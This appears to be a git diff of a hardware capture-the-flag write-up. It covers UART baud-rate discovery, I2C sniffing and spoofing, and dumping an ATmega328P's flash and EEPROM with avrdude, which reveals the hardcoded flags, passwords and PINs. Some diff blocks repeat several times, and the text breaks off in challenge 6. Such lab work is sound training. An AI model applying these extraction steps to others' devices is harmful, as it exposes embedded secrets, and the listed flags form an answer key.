diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
